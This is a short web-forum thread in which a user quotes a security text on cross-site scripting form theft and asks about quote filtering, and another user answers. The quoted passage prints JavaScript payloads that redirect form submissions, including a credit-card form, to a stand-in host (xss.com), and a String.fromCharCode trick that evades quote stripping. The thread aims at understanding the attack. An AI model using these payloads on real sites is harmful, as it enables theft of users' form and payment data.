SitePoint Sponsor

User Tag List

Results 1 to 2 of 2

Thread: cookie theft

  1. #1
    PEACE WILL WIN abalfazl's Avatar
    Join Date
    Feb 2005
    Location
    Beyond the seas there is a town
    Posts
    711
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    cookie theft

    Hello




    Form Data Theft
    A similar approach to the one demonstrated for URL session theft can be used to modify the
    forms available on the page. The list of all the forms on a page is available via the JavaScript
    document.forms identifier, and the list can be iterated just as easily as links. By changing the
    value of each action attribute, the attacker can transparently force the form content to be sent
    to a third-party site:
    for (i=0; i<document.forms.length; i++)
    document.forms[i].action=’http://xss.com/x.php’;
    Given that injecting a multi-line JavaScript program might be a small challenge, the attack can
    be greatly simplified, making it far easier to generate and place on a victim site. Since most
    forms are given an identifer via the name attribute, JavaScript can access and modify a particular
    form directly:
    document.forms.cc_details.action=’http://xss.com/x.php’;
    In this instance, the credit card information form, which goes by the name of cc_details, is
    specifically targeted. As in the previous example, its action tag is modified to point at a thirdparty
    location, but unlike the previous exploit, it only requires one line of very simple code.
    The one thing that may make injection difficult is that quotes must encompass the argument.
    Single and double quotes are generally escaped or stripped and may make the XSS attack
    fails due to a JavaScript parsing error.
    But even if you have validation routines to encode or remove quotes,
    you still may be
    vulnerable to an XSS attack. Unlike strings, numbers do not need to be quoted. By using the
    String.fromCharCode() function—a JavaScript function that allows conversion of a number




    First it says:
    The one thing that may make injection difficult is that quotes must encompass the argument.

    And then:

    But even if you have validation routines to encode or remove quotes,


    if quotes in JAVAscript is ok,Why does it suggest to remove?


    By using the
    String.fromCharCode() function—a JavaScript function that allows conversion of a number to
    an equivalent ASCII character, much like PHP’s chr() function—you can avoid using quotes
    altogether and represent the values as a sequence of a numbers.
    a = new Array(104,116,116,112,58,47,47,120,115,
    115,46,99,111,109,47,120,46,112,104,112);
    b = String.fromCharCode(a[0]);
    for (i=1; i<a.length; i++) {
    b += String.fromCharCode(a[i]);
    }
    document.forms.cc_details.action=b;
    Here, given array a, string b is assembled on the fly, yielding http://xss.com/x.php. That value
    is then assigned as the form’s action field.
    May you explain more?
    I shall build a boat,I shall cast it in the water,
    I shall sail away from this strange earth,
    Where no one awaken the heroes in the wood of love

  2. #2
    Unobtrusively zen silver trophybronze trophy
    paul_wilkins's Avatar
    Join Date
    Jan 2007
    Location
    Christchurch, New Zealand
    Posts
    14,526
    Mentioned
    83 Post(s)
    Tagged
    3 Thread(s)
    I think he said it already.

    The one thing that may make injection difficult is that quotes must encompass the argument.

    But even if you have validation routines to encode or remove quotes, you still may be vulnerable to an XSS attack.
    Why may you still be vulnerable?

    [an attacker] can avoid using quotes altogether and represent the values as a sequence of a numbers
    So if you try to remove quotes from the attempted injection, you still won't be safe if the no-quote technique is used.


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •